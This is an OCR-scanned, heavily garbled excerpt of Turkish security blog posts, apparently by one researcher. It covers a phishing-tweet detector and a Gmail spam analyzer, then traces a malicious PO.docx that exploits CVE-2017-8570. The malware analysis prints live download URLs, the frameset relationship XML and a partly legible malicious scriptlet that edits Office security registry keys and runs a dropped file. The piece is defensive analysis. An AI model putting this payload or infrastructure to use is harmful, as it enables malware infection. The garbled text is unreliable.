https://tr.wikipedia.org/wiki/Optik_karakter_tan?ma
http://www.tweepy.org/
https://github.com/mertsarica/hack4career/blob/master/codes/ptd.py

phishing Tweet Detector [https://www.mertsarica.com]

+] Checki tweets for keyword: |

+] Downloading image: http://pbs.twimg.com/media/DnpIE-Twwaa01y. jpg
+] Running OCR on: DNPIE-Twwaa0l Jy,ip

+] Downloading image: http://pbs.twimg.com/media/DnoY0GuxcasoIob. jpg
+] Running OCR on: I:mo\rO(.uxcuoIob.ipg

+] Downloading image: http://pbs.twimg.com/media/Onou-NjwdAEPNXK. jpg
+] Running OCR on: Dnou-NjwdAEPNXK. jpg

+| Downloading image: http://pbs.twimg. com/media/DnniAgaxoAac2bw. jpg
+] Running OCR on: DNniAQAXOAACZbw. ipg

+] Downloading image: http://pbs.twimg.com/media/OnmeL jzx0aalvc2. jpg
+] Running OCR on: DnawLjzx0aAlvc2. jpg

+] Downloading image: htip://pbs.twimg.com/media/onlsBwxv4AahBas. jpg
+] Running OCR on: DNlsBWXV: uhﬂQS.ipg

+] Downloading image: huE: /pbs. twimg. com/med1a/OnkpkzkwOaduers. jpg
+] Running OCR on: DnkpkzkwOaduerd. jpg

+] Downloading image: tp://pbs. twimg. com/media/DnkF_mcw4AIIYSE. jpg
+] Running OCR on: anF_mcH-uIJYSE.ipg

+] Downloading image: http://pbs.twimg.com/media/Dnjdcx-x4aapirl. jpg
+] Running OCR on: Dnjdcx-x4Aapjrl. jpg

[!] phishing tweet detected! -> Screen Name: ilksonbahar Name: Ocak Subat Bd¥$'dVi- Media uURL: http://pbs.twimg. com/media/Onjdcx-x4aapjrl. jpg Tweet URL: https://t.co/G6hgBoexc]
+] Downloading image: http://pbs.twimg.com/media/OnjMsulwwaaép_d. ipg
+] Running OCR on: DnjMsulwwAAGp_d. jpg

+] Downloading image: htip://pbs.twimg.com/media/DnjIuTOWwAEGaMO. jpg
'+ Running OCR on: DNjIuTOwwAEQaMmo. jpg

W Ocak Subat 1= Twitterda X \

&« C () | & Secure | httpsy//twitter.com

@) Hackd Career.inforr [} Linkedin W Mert SARICA (merts: M Inbox - mertsarica

Takip et

Ocak Subat [

3

sizinle alakasi var mi?

MERCEDES 5350

YUKARIDAKI LINKTEN
BASVURABILIRSINIZ

k nobahar aagh kKullaniCrya yanit olarak
Merhaba, paylagm bankamiza ait degildir, kigisel glvenliginiz igin itibar
etmemenizi rica ederiz. Gincel givenlik duyurulanmiza
:a... adresinden ulagabilirsiniz. Tegekkir ederiz.
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10 SANSLI KISIYE MERCEDES $350

YUKARIDAK] LINKTEN
100 Kisiye iPhone X BASVURABILIRSINIZ.

— -

Q, Search mail
<« B8 0 ¥ L4 D 2

Phishing Tweet Detected! Inbox x

tome -

Phishing Tweet Detected!
Screen Name:ilksonbahar
Tweet URL:hitps:/it. co/GEhQBOexcl

&, Reply ®» Forward

Yazima son noktay1 koymadan dnce dolandiricilarla miicadele i¢in oltalama mesajlari ile karsilasanlarin bunlari en kisa siirede bankalarina,
bulundugu sosyal ag platformuna bildirmelerinin (Tweet’i bildir gibi) ¢cok ama ¢ok 6nemli oldugunun altin1 ¢izmek isterim.

111



21 Tweet

M-

T el e 1 & 1 s et DS ER PR o
Haziran 2013 tarininde katildi

Takip edilen 110 Takipci

Tweetler ve yanitlar

JV RNQITE VFEL OURANVLAINY A

KATILIM YAPAN -
HERKESE YUKARIDAKI LINKTEN
R o BASVURABILIRSINIZ,

wwwwwww

K8\

15 KISIYE NISSAN QASHQAI
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Ana Tweet ekle

Baglantiy1 kopyala

adli kisiyi takip et

adli kisiyi
sessize al

Bu sohbeti sessize al

adli kisiyi engelle

Tweeti bildir




Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Sponsorlu Dolandiricilik appeared first on Siber Giivenlik Glinliigii.

Matruska

By Mert SARICA on November 1st, 2018

Her daim 6riimeek hislerinin pesinden kosan bir giivenlik arastirmacisi olarak hislerim uzun zamandan beri beni Gmail hesabimin Spam
klasoriine dikkat etmem konusunda uyartyordu. 2006 yilindan bu yana aktif olarak Gmail kullanan biri olarak, 13 y1l i¢inde e-posta adresimin
Nijerya’dan Papua Yeni Gine’ye kadar bir¢ok cografyadaki istenmeyen e-posta gdnderen niyeti bozuk kisilerin (spammers) e-posta listelerine
girdigi konusunda siiphem bulunmuyordu.

Giinlerden bir giin yine spam klasoriine goz atigimda kendimi ¢ok yakigikli bir film yildiz1 gibi hissetmemi saglayan ¢ok sayida istenmeyen e-
posta oldugunu gordiim. :) Bu e-postalardan yola ¢ikarak zaman i¢inde Gmail hesabima gelip spam klasoriine diisen, ekinde zararli dosyalar
bulunan e-postalarin sayisi ve bu zararli dosyalarin tiirii (casus yazilim gibi) hakkinda bilgi sahibi olmak i¢in neler yapabilecegimi diistinmeye
basladim. Kisa bir siire sonra Python ile spam klasdriine gelen e-postalari izleyen ve e-postalarin ekindeki dosyalar1 bir kum havuzu (sandbox)
sistemine ylikleyen bir program hazirlamaya karar verdim.

Ekaterina hi 1:34 am
Tatiana hi 12:33 am

Naderhda hi 8:07 pm

M, hi Nov 2
Alla hi Nov 2
Lesi Hi do You Know Me ! Nov 2
W h Now 2
Alla hi Nov 22
Anastasia h Now 22
Lesia Hi do You Know Me ! Now 22
Val hi Nov 32
L h Nov 22
Elena hi Nov 22

Kum havuzu servisi olarak zararli yazilim analizinde siklikla kullandigim ve her daim sonuglardan memnun kaldigim, arka planda Falcon
kum havuzu sistemi bulunan Hybrid Analysis‘i kullanmaya karar verdim. Tabii Hybrid-Analysis’in API’sine tespit edilen dosyalar1 otomatik
olarak yiikleyebilmek i¢in kisit1 bulunmayan bir API anahtar1 gerekiyordu. Neyse ki giivenlik arastirmacilarina bunu lcretsiz vermeleri
sayesinde API anahtarina kisa bir siirede sahip olabildim.
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http://www.mertsarica.com/sponsorlu-dolandiricilik/
http://www.mertsarica.com
http://www.mertsarica.com/matruska/
https://www.hybrid-analysis.com/
https://twitter.com/hybridanalysis/status/933797451689086976?lang=en

Falcon Sandbox: Your vetting request was accepted Inbox  x

Hybrid Analysis <mailer@hybrid-analysis com>

tome I~

Hello,
Your vetting request status has changed. You will find a summary below

New status: Accepted

Old status: Pending

Requested at: 12/14/2017 03:59:35

Notice: your vetting has been successfully processed and you can download files
without limits and obtain full API key. Please remember that once changing your E-

Mail address or Full name, you will need to pass vetting process once again.

Have a question or need help? Please use our contact form

Python ile Spam Analyzer isimli bir ara¢ hazirlayip, hayata gegirdikten kisa bir siire sonra bu arag, Spam klasoriinde ekinde PO.docx isimli

stipheli bir dosya kesfetti.

« Batcave X l @ Batcave (1)

Gmail spam Analyzer v1.0 [https://www.mertsarica.com]

[+] working on attachments...

[#] Total unread messages in spam folder: 4

[*] submitting 2018().x1sx to Falcon Sandbox

[*] submitting 9750f81d3blfbbee8f0flifb7aaacl482 to Falcon Sandbox
[*] submitting abel and vivian.pdf to Falcon Sandbox

[*] submitting PO.docx to Falcon Sandbox

[+] Sleeping 1 hour...

4 Batcave X | @ Batcave (1)

Gmail spam analyzer vl1.0 [https://www.mertsarica.com]

[+] working on attachments...
[*] A1l e-emails are already analyzed in spam folder...
[+] checking for malicious samples...

] verdict of 2018().x1sx: no specific threat
[#] verdict of abel and vivian.pdf: no specific threat
] verdict of PO.docx: suspicious
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https://www.python.org/
https://github.com/mertsarica/hack4career/blob/master/codes/spam_analyzer.py
https://www.hybrid-analysis.com/sample/510f89597e3348e2983cc654cc359d104aef74ace40b78f4d775c866fb3fedfc?environmentId=100

04-03-2018 15:45¢ !6 2018() XT5x[7 26bael
ntid=100|no specif

RE: Document Spam £k

o Mr. Anuant piboonphon <xu@yy> & Feb 5(3 days ago -

W Be caretul with this message. Similar messages were used 1o seal poople’'s personal information. Unkess. you trust the sender, don't click links or reply with personal information  Learn more

Dear SirMadam

Altached herewith please find Pre-Alen Shipping documents fof your pre-arrangement and we would like inform you, due 1o prévent lost of shipping documents. all Onginal Shipping Documents have put into this cargo Box No 1 and copses of those also attached
with AWB as well
If you need any more information, please don't hesitate 10 contact us

Thank you for your kind support

Best Regands

Mr. Anuant piboonphon

Thai Master Transport Int'l Service (TMT) Co. Lid

85004 Lad Krabang Road, Lad Kragang , Lad Kragang , Bangkok Thaitand 10520

Mobile Phone - 08 5488 5238

Tel : 02-326-T099 Ext 22

Fax: 02-326-7097

Email - anunal Piboonphon | awpori@tmica m - www tmicarp

Member of Image result for iata cargo logoRetated imagecid image00d jpg@0102B0F8 DASEA430nND (Awww alicarg hiata

A Downloading this attachment is disabled because thes email has been ide s phishing If you want to download it and you trust this message, click "Not spam” in the banner above

LEam mode

Spam Analyzer araci, Gmail API iizerinden Gmail hesabiniza client secret.json dosyasinda yer alan baglanti bilgileri ile (Google
API Console‘dan da client secret.json dosyasin indirebilirsiniz) baglanarak Spam klasoriindeki tiim e-postalar: okur, ekindeki
dosyalart attachments klasoriine kopyalar ve ardindan bu dosyalart Hybrid-Analysis sistemine yiikler. Yiikledigi tiim dosyalarin
bilgilerini hashes.txt dosyasinda saklar. Bu dosyalari Hybrid-Analysis e yiikledikten 1 saat sonra ise ilgili Hybrid-Analysis raporunu
ve dosyanin zararl olup olmadig bilgisini yine hashes.txt dosyasina yazar.

nano 2.5.3 File: hashes.txt

GNU

04-03-2018 15:45:36|2018().x1sx|726bacbb4485908bleas5TB8a0f687ef472021b390ca7ff1dbfob4346ceabfc02f |submitted

04-03-2018 15:45:40|9750T81d3blfbbee&f0f1fb7aaacl482|c9e4badbas91f852f35fffecfce6b296e8a5e557h665ac9ae964885bal63adbff |submitted
04-03-2018 15:45:43|Abel and vivian. pdf|0156ac243f674dbb6f4053ab4c0b0c7e2704e12f70b426Ff4fead8ff4d5421F9 | submitted

04-03-2018 15:45:45|P0.docx|510f89597e3348e2983cch54cc359d104aef74aced0b78F4d775c866Th3fedf c|submitted

threa
I;; Ogang?FJ;S 145 10 a7 Sosﬂlggtlul]’bbeesfﬂflfb; aaaclds2|c 591f852F35fffecfc 5e557b665ac9aed64 885bal63adbff |https:/ waw. hybrid-analysis. com/sample/c9edbadba591f852f 35Fffecfcbbl06esases57b665acdaedtd 88
albia environment Id=1
Ddiol -2018 éSIS‘SN‘?IAhe]‘?I?d vh‘an pdf |0156ac243F674dbbEF4053abdcOb0CT 270461 2F T0b426F faf eat BF F4d5421F0 | hreps: /v, hybrid-analysis. com/sample/0156ac24 3F674dbbEF4053ab4c0b0cT €27 0401 2F 704 26F Fof ead BFF4d5421709%e
nvironmentId= no specific threa
Dlog? 2015 .1.5 :45:45]PO. dcu::|510f8959?e!3432293kcﬁilcc3$9d104aef?dacelﬂ:?3fld??ﬁr_sﬁﬁfb!fedfcIhtl:ps A /vontwi eybrid-analysis. com/sample/510f89597e3348e2083cc654cc350d104 aef7daced 0b7 8F4d7 7 5c866Fb3fedf c?environment 1d
=100|suspicious

t1abt

|

PO.docx dosyasini ilk olarak pestudio araci ile analiz etmeye basladigimda ZoneAlarm disinda herhangi bir giivenlik yaziliminin bunu
stipheli olarak tespit edemedigini gordiim. Dosyay1 yamasi giincel olmayan Microsoft Office 2010 ile agip Fiddler araci ile izledigimde
oncelikle winword.exe tarafindan kisaltilmig hali http://urlz[.]fr/6uQM, uzun hali http://23[.]249[.]161[.]109/ace/ olan web adresinden
svch.doc dosyasinin indirilip ¢aligtirildigini ardindan da svch.exe tarafindan http://jopittex[.]zapto[.]Jorg/windows/ adresinden svchost32.vbs
dosyasinin indirilmeye ¢aligildigini gordiim.
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https://developers.google.com/gmail/api/auth/about-auth
https://developers.google.com/api-client-library/python/guide/aaa_client_secrets
https://console.developers.google.com/
https://console.developers.google.com/
https://www.hybrid-analysis.com/sample/510f89597e3348e2983cc654cc359d104aef74ace40b78f4d775c866fb3fedfc?environmentId=100
https://www.winitor.com/
https://www.telerik.com/fiddler
https://www.hybrid-analysis.com/sample/1da136f706f8e322c065f44e7a1d40535baa432f75ef73ec748c68348700b3eb?environmentId=100
https://urlscan.io/result/763e17f4-baca-4f49-b047-ca64bc974df7/content/

File Help

we 787

=+E7] eusersimertidesktop'po.docx engine (58) positiv (1) date (dd.mm.yyyy)  age (days) =
Zonehlarm UDS:DangerousObject.Multi.Generic 07.02.2018 2
Blav clean 06.02.2018 3
MicroWorld-e5can clean 07.02.2018 2
nProtect clean 07.02.2018 2
CMC clean 06.02.2018 3
CAT-QuickHeal clean 06.02.2018 3
McAfee clean 07.02.2018 2
Malwarebytes clean 07.02.2018 2
VIPRE clean 07.02.2018 2 =
K7 AntiVirus clean 06.02.2018 3
BitDefender clean 07.02.2018 2
KIGW clean [} 06.02.2018 3
TheHacker clean 06.02.2018 3
Arcabit clean 07.02.2018 2
Baidu clean 06.02.2018 3
F-Prot clean 07.02.2018 2
Symantec clean 06.02.2018 3
ESET-NOD32 clean 07.02.2018 2 b
TrendMicro-HouseCall clean 07.02.2018 2
HAvast clean 07.02.2018 2
ClamAV clean 07.02.2018 2
Kaspersky clean 07.02.2018 2
Alibaba clean 07.02.2018 2
NANO-Antivirus clean 07.02.2018 2
ViRobot clean 07.02.2018 2
SUPERARtiSpyware clean 07.02.2018 2
Tencent clean 07.02.2018 2
Ad-Aware clean 07.02.2018 2
Sophos clean 07.02.2018 2
Comodo clean 07.02.2018 2
F-Secure clean 07.02.2018 2
Driveb clean 07.02.2018 2
Zillya clean 06.02.2018 3 i

sha25f: 510F895597E3348E2983 C 0654 CC3580104 AEFTAACEA0BTEF4 D775 CE66FBIFEDFC

' @ Free Automat: ‘E Irgvﬁx of face :ﬂy" Expand Short: X
<« C | @® www.expandurl.net/expand?url=http3%3A%2F%2 Furlz.fri2F6uQM
¥LZZ" View the destination URL! -

Expand URL Shorten URL Terms of Use Privacy Policy Contact Us

Expand URL

http://urlz_fr/6uQM

Expand URL

Results for http:jfurlz.fr/6uQM
Website Thumbnail Generator Short URL:  http://urlz.fr/6uQm
Redirects: 2 (hide details)
1. https://urlz.fr/euQM
2. http://23.249.161.109/ace/svch.doc
. 3’ Long URL:  http://23.249.161.109/ace/svch.doc
Shrlﬂkthemb
Extra Information
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4 Fiddler Web Debugger

File Edit Rules Tools View Help GET /book [ GeoEdge

B8 WinConfig () 5 Replay %~ b Go | @ Stream [l Decode

Keep: All sessions = & Any Process 34 Find [l Save | I8 (D) €8 Browse = & Clear Cache [T TetWizard [ Tearoff | MSDM Search...

= Result  Protocol Host URL Body Caching  Content-Type Process
301 HITP ulz.fr | 182 text/himl wimvord: 3128
405 HTTPS wlz.fr | 170 text/himi; charset=UTF-8 winword: 3128
01 HITP ulzfe  JBuGM 182 text/hirmd winword: 3128
200 HTTP Tunnel to  urlz.fr:443 L.852 H
302 HTTPS urlz.fr _f5u0M 5 textfhtmi; charset=UTF-8
200 HTTP 23.249.161.109  Jace/svch.doc 586.121 application msword
01 HTTP wlz.fr [GuQM 0 text/html
302 HTIPS urlz.fr  jSuQM 0 text/htmi; charset=UTF-8
200  HTTP 23.249.161.109 face/svch.doc 0 i d
HTTP , ; charset=UTF-8

Comments
[#23]
[#24]

Custom

PO.docx dosyasini Notepad++ ve rtfdump.py araglar ile analiz etmeye devam ettigimde, Microsoft Word un frameset 6zelliginin kotiiye
kullanilarak (sizma testlerinde de kullanilmaktadir) CVE-2017-8570 zafiyetinin istismar edildigini gordiim.

[ caUsers\Mert\Desktop\PO\PO\word)\_rels\webSettings.xml.rels - Notepad - [E=R S
File Edit Search View Encoding Language Settings Macro Run  Plugins Window 7 )
sBBE s LBlidhD|ioe 2| BERETEBLos| EED BB
(Bl fortTable xanl (3] [ documentsari £3] [ theme sl 3| [ document i rels 3. [ webSettings.mi els ml (e
" L) £?xml version="1.0" encoding="UTF-8" standalone="yes"?&
2 <Relationships
< xmln=="http: //schemas.openxmlformats.or ackage/2006/relationships">
4 SREISEIOASHIP Id="rIdl" Type=
"http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame” Target=
i "Ihttp:;‘furlz.frf&lq-[" TargetMode="External"§Z
5 </Relationships>
|
t
i
eXtensible Markup Language file length:328 lines: 5 Ln:4 Col:118 Sel:20|1 Windows (CRLF})  UTF-8 INS
root@ubuntu:~/spam_analyzer /attachments# ﬁ:ython rtfdump.py -T 0 svch.doc
4 Level 3 = 0 p=00000049 1= 580662 h= 580650 b= 0 u= 0 “*\objdata
7 Level 3 c= 0 p=0008dce§ 1= 5278 h= 5266 b= 00 u= 0 “*\objdata

root@ubuntu:~/spam_analyzer /attachments#
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https://notepad-plus-plus.org/
https://blog.didierstevens.com/2018/01/31/update-rtfdump-py-version-0-0-7/
https://msdn.microsoft.com/en-us/library/office/documentformat.openxml.wordprocessing.frameset(v=office.14)
https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8570
https://github.com/rxwx/CVE-2017-8570/blob/master/packager_composite_moniker.py

FoatBubuntu:~/span_analyzer /attachments# python rifdump.py -5 4 -A <€ -d svch, doc | more

-~
<scriptiets
«registration
description="rpos, xozb"
progid="rpos. xozb"
version="1"
classide"{23a00cd5-191b-400b-ab31-d7819efde6ac}”
rewtable- true”
</regi sr.ral: fons>
<script language="Jscript™>
<! [CDATA]
r usm = [“wscript.shell”, "word. application”,"ADODS. STream”,"scr ng. Fil sgﬁ mobject™,”.
1 ﬂ‘ 5468697320707 26F 677261 742062 727 56E20696E20444F 00 3
£490 0 % 10
IO02ETL65 12E727 37 26300000011 02 E 2E!
10000 B 00000002 000500983 140¢ 0 m )
Al 3008001 172010 01472104 5600 616 00 71FLABDOF L0BOTLET 220 2071 1. 1 AZ07.
GA2071A 0007 71B7 23000007 0A2071C7 241 10724 E TOAZOTLIFOY. OT1F0AT 24 000007 0A2071FOBT 2 T1FOCT 2514 70A2071FODT 2354 2071FOET 255 0, FOFT2
00T 0AZOTIFLOT 2 2071FL17 24100007 0A207LF127 2611 TOA2071F137, 2071F147 DA20T1F, A2071F1E67 2300 2071F177. 4207 1F18; 2071F19722 20T AZ
101240018 11 AT 269000070147, 1. 1306110161 11000001A21101 2. 2CF 70188002000001130F110F167 211010
070AZ110F1707AZLL 2CFO0007 0087 131011101 11 BOD7 2C 167 29D010070421111 4020000181 3047 2CFO00C 7
256801007017 8002000001131 21112167 2E7 01007042111 5091313161314 3638010000 1114941 2CF 72560100701 22111 402000018 70
87 223020070147 2300200701851 }001131611161606421116171 00 A, 1108421116191 68C11000001A2111 62 110000 11 2601 728 58 72230204 4
3171117161108A2 T1T16EC A2111T1E06A21 AZ11171A 807 000006EC11 000001421117, 722302007014 700 E111816110742111817. 14211181806211
1 AL107. 6EC110000014211 14175813141114 6I3F 19724 097 2470200701104 097
00! 1 DA L1047 21103 198002000001131911 & 11 168011000001 1191 1L D0LAZ11 4723 1780
s A2E 308280200000611! 4 130C110C72 0171880 B111B17. 00 131C111C160242111CA211 111300110028 1 0062 GOE OO
ADL 00000 7030000270 000011 014721000007 227 00007042061 P010BOTLET 26! P07 04207177 2680300704207 187 23900007042
DA2 7 I71C I71E7 2510000704 1F097 268031 7. AT 2. 0A2071FO08! 703007042071F0CT 235 07, 071FOE7. 7A20
17 7OL47 2100 185D B16: A206171F 2C. JBO716] 04207177 DA20TLET 231 20719 04207 LAT 2330 A2071B7 23000
0 0A2071E 90000704207 LFOGT 251! 7LFOAT 2780300704207 LFOBT 2680300704207 1FOCT 2551 0A2071LFODT 2350000, 1FOET 22 70A207LFOFT, 71F107 071F117
OT1FL. F1 77030070A2071F147. A2071F15725 0704207 LF16727F0; 1F177, QA F. QA20TIF1GT 2T AZOTLIFLAT 2071F1E 0AZOTLFLCT 24100007 0AZ0T1FIDT 2450
0L 071F1F7 2870300704 1F 207, 0A2071F2 T1F227. DA2071F23 2071F 2: 071F2' 0AZ071F 2 1F277. 0A20 287, 071F2
08207 1F287 1022811 04161 305283C 1105 81 7. 01030
7 13061 L] 10110517581305110! 32BC1 621 1 61306284311 AGCOB2E1 2590 oL
1 3071107 A211071705A21107, 600091 304DE132 17581 11058E69326514 241104 00265 13200800 1721 70147 21000007 01880 ADELET22
700007042 7. 167 267030070A207177. 07187 71! 2074, B0B00! 33 05 02, 147 22F 0400701 8E00200 606A2071
703A207. 3 228: 110494 6281 81 130511 AZ110517054
2110528 626110417 5813041104 098E 693 24C 2A0000C 7 G56D2E52657 36FT 5726365732652 5F7 572636552656 7 22C 20607 36I6F 7 26C 696 05665727 I696F 6E 3034 2E 3026302 czoa T56CT
4757 2653D6E65T 5747 2616C2C 20507 S626C 69634865 SDGZB?E? 3 8392353707 37465602E52657 36F757 263657 326527 56ET 469606552657 I6F 757 2636553657402 05C53797 3T465602E53747 2696
EGT SB5D2C 20607 3636F 7 26CHI6. “’7" 565?2 G9EFGEID342E JO..E!(DF‘MF 04 57472616C2C 20507 562 656E30623737613563353631 LEFCSBER 985797CC
FO953335F0D1967A0LF1625922. B526ESEI 000 000 0741 234E364€21 7
DEEOL4E1LSEIEAEGCIESLSEECA E-‘K-lElSdEdZ-‘lEo?l 324€3FAE 4 EGBAE. ;.4:-\&::6“5 FC4 T14E434E7AMESTAES24E214E41 224E604E 3C4E254E 534EES 2€00003
CICAEGDAE4E4EQFAELDESTAES JAET 24EOTAEIALED S84E TAEZO4E4CAEGO4E4TAEZBL S4E3B4EICAETALEZELED, J4ESB4EITLETDIETDME 2E4E4ME614E25¢ESME SA4EGLAES5A4
ELA4E214E124E0F4ELG4ET SAE2A4ELBAEOCAE 2C 244ELALEDCAED24EE GE4ET04E414E124E214E 74521452(456245!51( 24E1 3467 34E6B4E G4EFI4E254ES 4:2?487& E464E
O4E774EG34ESB4E414EGTAEIDIEG24EGLAELFAE 24E1E4EIEJE2I4EL64E EleElNEZSAEéEaIES{AEI‘JEW -25425? E!EdES?-{EZMElEdESS&E; "7427&4&3345234&"""“ TFAEIB4E204
EQ74E7 34E694E3CAES64E SCAEBSIELDIET O4E T SBAEITAET TAET TAEZEAETC Q4E2L4EZEE TBAESO4EL2AESES DAEOCAE: 7DME2S4EGES
E2B4ES14ESF4ETCL Gl4E2ALE22MEGI4EIFAE. SCAESFAESIAE FdE?oﬂE?{‘ [l?dEdidllglE 5F4 lME?MEaE‘iOlWBsNE?“EZ HEIF!E!E‘E?“ES dEmE424E-!D‘ESCJ[GB‘ESE‘EOF&EG?‘E& MELO4E3E4E2B4ED
FAEQF4ETASE204EOCAETDIEICAEGMEIDIET SAELTAES SAE4FAE 744E5b4!?9330 004 26F S4EGQMESTIEOI4ELMEL C4EG44ES2EIL4E494EICAE404E 54481 4E07AE204E2CARABAR0EL 7R TR SEET IAEL04EA 3AET 2469
EEI0L002CTA4EDDIE IDAETA4EL 14 7946594E1E451‘l£§845244€2 JELF4E 07453 S4E114E614E424ETA4E 2DBCOL00200F 20 T415A4BCTGEST, 28315ALF0DC27 STBEBBEGCODCTF S04 BCCOFADS303551CT051087098C33
3312CF B4 303271084, E45FE7505CECFS 3823E 7.1.no7a. AFFEF 5¢ 2AECF22 1197157F9617034CBEADOSL0CT 4
TEQ21BO55BF44 51A09F1D23270EDCLBFAEDT € al‘?' " ' 51 2AC 1 725305!F”" 5 A2DC €1 6960400 l!FE?lgElllCGE 3COCEC 411CABS! 8 5, 7E0B4C2FIF90F
(GZESFQ--[HGS?RP: SCBFOALSB2CCEE62202 »Sﬁ»\lwcér 1200055-'F OFEQIF, 1 537 T63128A] D‘.I.WS 3527 BFBBIS01690CF T1EZFOBC 901 BBAZABT SGAE422BF
9FIE CO2622A10€ 3946 3?(9&507rna. 46 04 886C 2 36CEC04 8067 3914270282 A008E 26AD5AC 766 3A1 Fk45i39!02 801 372C4E67401 69C SOFFCSBBF 2E1BAAF14221.
33!7EF1 BE36522F B8 12ADE89E?BCEA945 EDT14C. 7OBEEFE2AB2541A2C. 2DAE2 7T1BE: LS!CSOD!DC&EZWQ!' 697C1B8683EEFBATOLLT 555194 B6402E70082E ALDDEEE 3C 66490
1A03CA5441 30BE4 31E3C1992CD5F 57 FDBB S41FD; ?OOOFIx 19B3453 2404 AAATLE39C4 2691 580 A OAFC 312FAT5AT SDECAT 6249261 A3F4A3C
| EOFAGBEOC 505 30E92EECC 4A531A8BE K ASEBSDF'SDiMZdDU(dA?D‘"&C 4C378D37B33 QFSMG?BBHSSDSI BAGTEGFFOTCFDEOFFA12A3D1E34 529ASEDS1F2F 33 S069TADCALFESF
AZ42CSDTCBC2162LED2IFAIETAZO6381CT 21TAIEE01497C 26BE 5 5BCTETCADBSTBOIF H095C 434980181 7ESD4162265844 343024427 TF482469F43934CADI0BE2 206CDBFCCEBAL4TAB101680FB19B11EE. FZDS??GZFJ.?SSZ&COZ ECAD23E
DFFEFTAFE2BSDCEDT IF191ECC FO3D9782722057087 8507666004 58DF B4BDET AL FllEQOASCCSlZM?fA 3C12388 OEOCET6154B6E4E9E240C 6ACF 68F B2B8AT180AATCFFFE04906C 092EAACCAAZC 33CBTEDZASLFO94
1011EEFS197 DA7 9004257 EL7 7D100D902ADEOCDF 88631 29CBOCDEDE 7 28B6C 36A3CE0E7 9ED7 DE7 72337 20844 5857 35087 7C14809A3E957 308CCOS104ELC BB AEEC 3461616F ACLEES D23AF35
BFBCECEDIGE2O81ATC 54 346AE IB2E FICS62COELETOSTLTT A04C4 BEBE 2687 C4F S4D0OC IDDECE 20AEC 339 3202C8FDTEABDOE SAEBSTE4 B4 6AGFETDTDF TDBLOE 2 564 12207F791A30
D8C14FELI6681 IBBLE1ADEC 3BF 316728, BC3F 1 TA4TE DBESS 3! DF 32ECI0140F 3TESICC 9521 2BCABCCCE ALCBASCBFEZLAGA
37 157EF 2055828344 A0T4B9C 016896, nucazmu;sa:uzuuaoss-in.u D5BGACEBEL LA95=J.1 ?322..199‘ 04 2F ICBTG2DCCBEC SB4TED! 17, 2C75F 38878774865 94357FB2CADIIB5E. 1007 6AA67DECE2
B25306805382881981 309981 54E2 65C 19 3aC F42043 BEBF 3E3 IB2CE2BDIEC Fa48 410
TEDTOL10850F47 5341F 20702844290/ E318120; LCADCC2CBOBSTC 5 CE94D977 S4B293607E62ALCD4 2F30832841 BFEI) 51454630844 9487 DOCADIDL29A0E S662F Q4 AZCALB64 84T 2IAC2385FD
38625171 46 726550 JDCNK?EC-GSFCC?FOT"""““" ATd ABGELBEDFIEOCASTA553820) 43783888 B457 24F ADEC 24 97 TEIE202035924C 557 BA5B8B9CHI49IBB1CO4B1FCFCAIF =

<seri
<registration
description=" rpas . x0Zb"
progid="rpos. x0zb
version="1'
:1assid-“{2!am:di 191b-400b-ab31-d7819ef 4060c}"
-oub

<freq1stratlun>
«script Ear‘guage- 1script”s

<! [CDATA| 2
“apPDATA" , “SWCHIENE"];
var xzemm pmm:o(o)
[51) + ™\\" + usm[6];

try{
E }J{

var XGACYDeOPTSkwlU = pOMHylol
if (mmm:skw FileExists
xGacvbeoPrskwu. Deleterile

leumoru\ini
kK euF oorwdng.

ca{ch (e) {

YHEG]
IQXUAYHEQT . \risib'l
mwavn(q‘l'l nup'layn'luru - !ﬂsl.
IQXUAYHEQ] ], DOCLUMENTS. A
var QWLYBgpin = IOQNUAYHE.
GWLYBgpin. Font. Nane
M\rﬂqp}n Font, 51z
QayBgpin. TypeText
%m.veqp n. Typeparagraph();

? - se‘lectiun:
al”

1 catch
unction poMHyIo(kKeuFoorwdnE)
FRTUrn new a:tiumjc:t(w-[knurwwnﬂ)

unction skzoumdgogsse (kkeuFoorwdne) {
return Klemiowk.ExpandEmvironmentstrings(™%" +

uncrion cwjnrw'ld
ar nx PZIn

iu;kzn:baumufcp = 0; Nfi

VO3 JGATGAUYxbKFCXYD = pOMHVIO(2);
y\:sjeuoam:bkfcno Type =
GAtGaLYXBKTCRyD: Char bet =
y\:s GatGauyxbkfCxyo. openi);
ycsjcn\tcanmbkfcxw hritel’ext(xnquz:rrllK\-'rdrm)-
XY, SaveTor wdng ) ;
wsie&:curzbkfcnw close():

"I50-5859-1";

Cwjmrwicl 4] wdn ) :

uzggim.tun(kstwu&:, 0, falseg:

Ty
KIemiowR. Regwrite( HeCU'\Sof tware'\Microsoft'\of fice'\11. 0\\Hurd\\secur'ty\mm s
KIemiowR. Regwrite( "HKCU' \Softwar e\ \Microsoft\\office\\12. 0% \word\\Security' \Acces 2
KIemiowR. Regwrite( HKCU) \Software’ \Microsoft) \office\\14. 0\\uord\\st:ur-ty\wm_sw. : 1
KIemionR. RegariTe( HKCU\ )\ Sof twar ! \Microsoft) \office’\\15. 0% \word\ \Secur iTy' \AccessvBom™ , 1,
KIemionk. Re wﬂe "y Sof twar el \Microsoft)\office'\16. 0\ \word\\Secur ity \AccessvBoM™, 1
var IQXUA) pINm'Jo(l H

"14
( This file is protected with 64bit security™);

kkeuFoorwdnE + "%");
sl DBMyYijSjHJIWZk kKeuFoorwdng ) {

KgkzewChaumvFGP < { PBNyYIwiSinikvzk. leng
ImxqPzInlkVrdnos += Strmg, fromCharcode( "Ox’

+ PBNyYIwjSjHlkvak. subst "

J: wfikgkzowCbaumvFGP++
{ Wfikgkzowcbaumvice = 2, 2 )

i

1>

</scrip

dscﬂp:'lebn ARARARC AR L AR ART ARk i Qe Rhhg JAQTAR « MQS AR AR o M
Get Help write out where Is Cut Text Just{f Prev Page First Line whereIs Next Mark Text Indent Text
Exit read File replace uncut Text To spe B next Page Last Line To Bracket Copy Text unindent Text

undo
Redo

’\BWOBG%JSJR&FEI!OIQ sctadC s\ Fakepath\0BAQISIRXFEUDIQ. SCTAQMBARACAR ABARAMAC 1Y Fakepath'\0BOQISIRXFEVOIQ. SCLART 1ADAR<?XML version="1.0"7>

_ARARARCAR: AR\ ARF ARaNRK ARRABDAS
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'Q CVE-2017-8570/package X W %

